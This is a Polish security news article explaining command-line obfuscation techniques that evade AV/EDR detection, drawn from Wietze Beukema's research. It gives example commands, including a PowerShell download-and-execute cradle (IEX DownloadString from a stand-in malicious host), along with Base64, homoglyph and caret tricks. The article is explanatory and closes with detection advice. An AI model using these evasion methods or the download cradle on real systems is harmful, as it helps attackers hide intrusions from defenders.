Menu dostępności

Jak ominąć systemy bezpieczeństwa AV/EDR poprzez obfuskację linii poleceń

Jak ominąć systemy bezpieczeństwa AV/EDR poprzez obfuskację linii poleceń

Poprzez wprowadzenie drobnych zmian w argumentach wiersza linii poleceń (obfuskację) możliwe jest ominięcie wykrywania poleceń przez systemy EDR/AV. Badania obejmujące prawie 70 plików wykonywalnych Windows wykazały, że wszystkie były podatne na taki zabieg – w różnym stopniu.

Cały proces obfuskacji opisał holenderski badacz Wietze Beukema w swoim artykule „Bypassing Detections with Command-Line Obfuscation”. Szczegółowo omówił on metody zaciemniania argumentów linii poleceń w celu ominięcia mechanizmów wykrywania zagrożeń stosowanych przez antywirusy (AV) oraz systemy EDR (Endpoint Detection & Response). Jest to kluczowa technika stosowana w atakach bezplikowych (fileless attacks), gdzie zamiast pobierania złośliwego pliku atakujący wykorzystują wbudowane narzędzia systemowe (LOLBinsLiving-off-the-Land Binaries) np. powershell.exe, wmic.exe czy rundll32.exe.

Kontekst i znaczenie obfuskacji w cyberatakach

Tradycyjne oprogramowanie zabezpieczające wykrywało zagrożenia na podstawie sygnatur plików, ale w ostatnich latach popularność zyskały ataki bezplikowe, które nie pozostawiają łatwych do znalezienia artefaktów na dysku. W odpowiedzi producenci AV i EDR zaczęli analizować argumenty linii poleceń, próbując wykrywać podejrzane operacje już na poziomie uruchomienia procesu. Jednak obfuskacja linii poleceń umożliwia zaciemnienie rzeczywistego celu komendy, utrudniając odnalezienie śladów złośliwych działań. Badacz opisał różne sposoby takiej obfuskacji oraz jej skuteczność w omijaniu zabezpieczeń.

Metody obfuskacji argumentów w linii poleceń

Poniżej przedstawiamy kilka technik obfuskacji, które pozwalają na ukrycie rzeczywistego działania polecenia:

1. Modyfikacja separatorów i znaków opcji

  • W systemie Windows wiele narzędzi akceptuje różne formaty opcji.
  • Przykładowo ping.exe działa zarówno z „-n” jak i „/n”:
ping -n 4 8.8.8.8
ping /n 4 8.8.8.8

Pozwala to atakującym omijać proste detekcje oparte na sygnaturach.

2. Manipulacja argumentem argv[0]

  • W systemie Windows procesy mogą mieć zmodyfikowany argument argv[0], co oznacza, że EDR może niepoprawnie identyfikować uruchamiany program.
  • Można np. uruchomić powershell.exe, ale podać jako argv[0] dowolną inną nazwę, np.:
C:\Windows\System32\cmd.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Może to wprowadzać w błąd systemy detekcji analizujące nazwę procesu.

3. Zastępowanie znaków w ścieżkach

  • Windows pozwala na uruchamianie plików binarnych poprzez różne aliasy i zmienne środowiskowe, np.:
%SYSTEMROOT%\System32\cmd.exe

zamiast

C:\Windows\System32\cmd.exe

Możliwe jest też używanie skrótów Unicode, np. C:\Windows\System32\pοwershell.exe, gdzie litera „o” pochodzi z alfabetugreckiego, co sprawia, że polecenie wygląda identycznie dla człowieka, ale może ominąć detekcję.

4. Używanie kodowania Base64

  • PowerShell pozwala na kodowanie poleceń w Base64, co ukrywa ich zawartość.
  • Zamiast uruchomienia:
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious.com')"

można użyć:

powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8... # skrócony Base64

Systemy EDR często nie analizują dekodowanej zawartości, przez co atak może przejść niezauważony.

5. Użycie zmiennych środowiskowych do ukrycia części polecenia

  • W Windowsie zmienne środowiskowe mogą być używane do dynamicznego generowania poleceń:
set cmd1=calc.exe
%cmd1%

Antywirus może nie wykryć calc.exe, ponieważ pierwotne polecenie jest umieszczone w zmiennej.

6. Wstrzykiwanie znaków kontrolnych (NULL, tabulatory, spacje)

  • Niektóre systemy detekcji ignorują białe znaki, więc dodanie NULL (0x00) lub innych znaków może ukryć rzeczywiste znaczenie polecenia:
p^i^n^g 8.8.8.8

Może to skutecznie oszukać regexy stosowane w mechanizmach detekcji.

Przykład obfuskacji polecenia certutil

Badacz w celu zamaskowania linii poleceń użył narzędzia w Powershell o nazwie DOSFuscation. Poniżej przykład pokazujący, jak DOSFuscation skutecznie zaciemnia polecenie, ale ostatecznie wykonanie certutil pojawia się w niezaciemnionej formie w narządziu ProcMon.

Źródło: Wetze Baukema

Poniżej prezentujemy wynik tej samej komendy, ale już w zaciemnionej formie polecenia certutil wykonanego z poziomu wiersza poleceń. Jest ono również widoczne w zaciemnionej formie w ProcMon, w przeciwieństwie do zaciemniania polecenia wykonanego za pomocą DOSFuscation.

Źródło: Wetze Baukema

Wietze eksperymentował z różnymi narzędziami bezpieczeństwa, aby sprawdzić, czy mogą wykryć obfuskowane polecenia. Testował zarówno rozwiązania EDR, jak i oparte na regułach antywirusy. Okazało się, że wiele z tych metod pozwala na skuteczne obejście zabezpieczeń, ponieważ analiza poleceń często jest płytka i oparta na sztywnych regułach detekcji.

Wspomina także o narzędziu ArgFuscator, które automatycznie generuje obfuskowane wersje poleceń, co może pomóc zarówno obrońcom w testowaniu skuteczności mechanizmów detekcji, jak i atakującym w omijaniu zabezpieczeń.

Podsumowanie i wnioski

  1. Analiza argumentów linii poleceń jest kluczowa dla wykrywania ataków bezplikowych, ale obfuskacja pozwala na ukrycie rzeczywistego zamiaru polecenia.
  2. Metody obfuskacji są różnorodne – od manipulacji składnią poleceń, przez kodowanie Base64, aż po wykorzystanie Unicode i zmiennych środowiskowych.
  3. Wielu dostawców EDR i AV nie radzi sobie z obfuskacją, ponieważ stosują prostą analizę sygnaturową, ignorując kontekst polecenia.
  4. Aby skutecznie wykrywać takie ataki, systemy bezpieczeństwa powinny analizować pełny kontekst uruchamianych procesów, a nie tylko same argumenty linii poleceń.

Obfuskacja argumentów linii poleceń to potężne narzędzie w arsenale atakujących, dlatego analitycy bezpieczeństwa muszą rozwijać bardziej zaawansowane techniki wykrywania, w tym analizę behawioralną i monitorowanie relacji procesów.

Popularne

Uwaga! Trwa praktyczne wykorzystywanie krytycznej luki w systemach Fortinet!

Uwaga! Trwa praktyczne wykorzystywanie krytycznej luki w systemach Fortinet!

Święta, święta i po świętach. I dzisiaj, zamiast malować pisanki, piszemy o Fortinecie. Naszym „ulubionym” producencie firewallów, który pojawia się na portalu dość często. Nową okazję do publikacji dała...
Grupa ransomware ALP-001 twierdzi, że zaatakowała Polsat

Grupa ransomware ALP-001 twierdzi, że zaatakowała Polsat

W niedzielę wieczorem na zagranicznych serwisach newsowych poświęconych malware pojawiły się informacje o cyberataku na serwis Polsatu. Według doniesień za incydent odpowiada grupa ransomware ALP-001, która...
DarkSword – cichy zabójca iPhone’ów. Nowy exploit, który przejmuje kontrolę nad urządzeniem w kilka sekund

DarkSword – cichy zabójca iPhone’ów. Nowy exploit, który przejmuje kontrolę nad urządzeniem w kilka sekund

Powstał nowy, zaawansowany zestaw exploitów wymierzony w użytkowników iPhone’ów. Narzędzie o nazwie DarkSword pokazuje, że nawet platformy uznawane za jedne z najbezpieczniejszych mogą stać się celem...
Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
WhatsApp jako wektor ataku – Microsoft ostrzega przed nową kampanią malware ukrytą w wiadomościach

WhatsApp jako wektor ataku – Microsoft ostrzega przed nową kampanią malware ukrytą w wiadomościach

Cyberprzestępcy po raz kolejny wykorzystują zaufanie użytkowników do popularnych komunikatorów. Najnowsze ostrzeżenie Microsoftu ujawnia zaawansowaną kampanię, w której złośliwe oprogramowanie jest rozsy...